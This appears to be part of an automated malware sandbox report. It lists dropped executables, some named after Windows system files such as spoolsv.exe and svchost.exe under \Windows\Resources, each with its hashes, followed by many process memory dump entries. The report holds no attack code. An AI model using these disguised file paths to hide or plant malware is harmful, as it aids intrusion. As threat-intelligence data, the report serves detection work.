e69996c29c162e6d302fc7c3c1a178c5496c029c6e4908e7df32102234f2ff1b

SHA512
d922eced7a34162f1b983609aa7b2fed6bd1a649caace8a2b93afd5c17e0597386c358afbbf137349838182905cf0b099c4cd2d823b574237678a6d67a1d4969

Download Submit
\Windows\Resources\Themes\icsys.icn.exe

Filesize
135KB

MD5
f2667d617c1c5156004ea365bc759c1c

SHA1
10592eb1cd290802867f1fa13470717fa5643f59

SHA256
e3aa603a42d20ba4f19f75839e090440cf224410b4bfd60f3aa9b95009a88792

SHA512
1cf3faf90dfd6a0834d4d20a825def7c259955ca9b6680fc0a4ff4584e890071655c1a3ed04785cebda52fdb1e6df5f836d4b8d3e4f6c95b5553fe30123ba803

Download Submit
\Windows\Resources\spoolsv.exe

Filesize
135KB

MD5
6133240312430379745b247baafe3bf2

SHA1
f43f98b322a79347520b8735a2f0f0d957939d8b

SHA256
2e78d11977ef7df3d3e817b7a8104b52980c7a66de9f80c627efec918ce7e6c8

SHA512
97f5a6cd6524a1c68c6c07c0e51a31a8916e454cbc632f382a94658c56c97f1af2a4176a0256ec357641112a694cd07a7e2f6173a34a2d85d8b258f5088bc57d

Download Submit
\Windows\Resources\svchost.exe

Filesize
135KB

MD5
a24b93d32ade48a72228c6185ece5bca

SHA1
bdb5c64cf0837aebb76c19db697ca2fe90dd03e4

SHA256
d0f1ffeca6bb2f488b87ca72edb7e9c798e7ba6ca8894fb88235983442fe4c44

SHA512
e9df799f402896ae8f32b4159bd2915ec1b44fce49d90cd5978e5f6f813b14ad139e849d18e79f2c98746da13ab44d602557b2fafe0ec80169303dbb8c843569

Download Submit
memory/320-90-0x0000000000770000-0x000000000077C000-memory.dmp

Filesize
48KB

Download
memory/320-40-0x000007FEF5F53000-0x000007FEF5F54000-memory.dmp

Filesize
4KB

Download
memory/320-11-0x000000013F940000-0x000000013F956000-memory.dmp

Filesize
88KB

Download
memory/320-10-0x000007FEF5F53000-0x000007FEF5F54000-memory.dmp

Filesize
4KB

Download
memory/596-125-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/768-174-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/1404-87-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/1640-173-0x00000000008E0000-0x00000000008E6000-memory.dmp

Filesize
24KB

Download
memory/1640-102-0x000000013FD50000-0x000000013FD58000-memory.dmp

Filesize
32KB

Download
memory/1656-171-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/1720-114-0x000000013F0B0000-0x000000013F0C6000-memory.dmp

Filesize
88KB

Download
memory/2004-105-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2004-172-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2260-89-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2312-21-0x000007FEF2860000-0x000007FEF31FD000-memory.dmp

Filesize
9.6MB

Download
memory/2312-19-0x000007FEF2860000-0x000007FEF31FD000-memory.dmp

Filesize
9.6MB

Download
memory/2312-16-0x000007FEF2B1E000-0x000007FEF2B1F000-memory.dmp

Filesize
4KB

Download
memory/2312-17-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2312-18-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download
memory/2312-22-0x000000000281B000-0x0000000002882000-memory.dmp

Filesize
412KB

Download
memory/2312-20-0x000007FEF2860000-0x000007FEF31FD000-memory.dmp

Filesize
9.6MB

Download
memory/2440-86-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2516-81-0x00000000005D0000-0x00000000005EF000-memory.dmp

Filesize
124KB

Download
memory/2516-175-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2568-0-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2568-88-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2568-44-0x0000000000390000-0x00000000003AF000-memory.dmp

Filesize
124KB

Download
memory/2692-170-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2764-28-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2764-29-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

Download